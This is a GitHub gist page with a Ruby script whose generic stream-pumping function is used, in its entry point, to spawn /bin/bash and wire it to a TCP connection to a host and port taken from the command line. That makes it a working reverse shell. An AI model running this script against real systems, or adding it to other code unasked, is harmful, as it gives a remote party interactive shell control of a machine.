Skip to content

Instantly share code, notes, and snippets.

@tlrobinson
Created May 12, 2011 00:45
Show Gist options
  • Save tlrobinson/967710 to your computer and use it in GitHub Desktop.
Save tlrobinson/967710 to your computer and use it in GitHub Desktop.
Ruby code for pumping data between multiple pairs of IO streams
#!/usr/bin/env ruby
require 'pty'
require 'socket'
# pump([[reader, writer], ...])
#
# Description:
# pump() takes an array of arrays, with the first element of each being the read stream and the
# second being the write stream. pump() itself is synchronous but it uses select() to
# concurrently pump multiple streams. Each pair creates a unidirectional pipe; to get
# bidirectional pipe use two pairs.
#
# Examples:
#
# echo STDIN to STDOUT:
#
# pump([[STDIN, STDOUT]])
#
# pipe a shell (or other command) to a TCP socket:
#
# $reader, $writer = PTY.spawn(command)
# $socket = TCPSocket.new(host, port)
# pump([[$reader, $socket], [$socket, $writer]])
def pump(pairs)
pipes = pairs.map {|pair| {
:reader => pair[0],
:writer => pair[1],
:buffer => ""
}}
read_streams = pipes.map {|p| p[:reader] }
all_streams = pipes.map {|p| [p[:reader], p[:writer]]}.flatten.uniq
loop do
ready = IO.select(
read_streams,
pipes.select {|p| !p[:buffer].empty? }.map {|p| p[:writer] },
all_streams
)
# none ready
next if ready.nil?
# errors
return ready[2] if ready[2].any?
pipes.each do |p|
if ready[0].include? p[:reader]
p[:buffer] += p[:reader].read_nonblock(1024)
end
if ready[1].include? p[:writer]
bytes = p[:writer].write_nonblock(p[:buffer])
p[:buffer].slice!(0, bytes)
end
end
end
end
def forward_command_to_host(command, host, port)
begin
$reader, $writer = PTY.spawn(command)
$socket = TCPSocket.new(host, port)
pump([[$reader, $socket], [$socket, $writer]])
rescue
puts "ERROR=#{$!}"
end
end
if __FILE__ == $0
HOST = ARGV[0] || 'localhost'
PORT = (ARGV[1] || 8080).to_i
SHELL = ARGV[2] ||'/bin/bash'
puts "Forwarding #{SHELL} to #{HOST}:#{PORT}"
forward_command_to_host(SHELL, HOST, PORT)
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment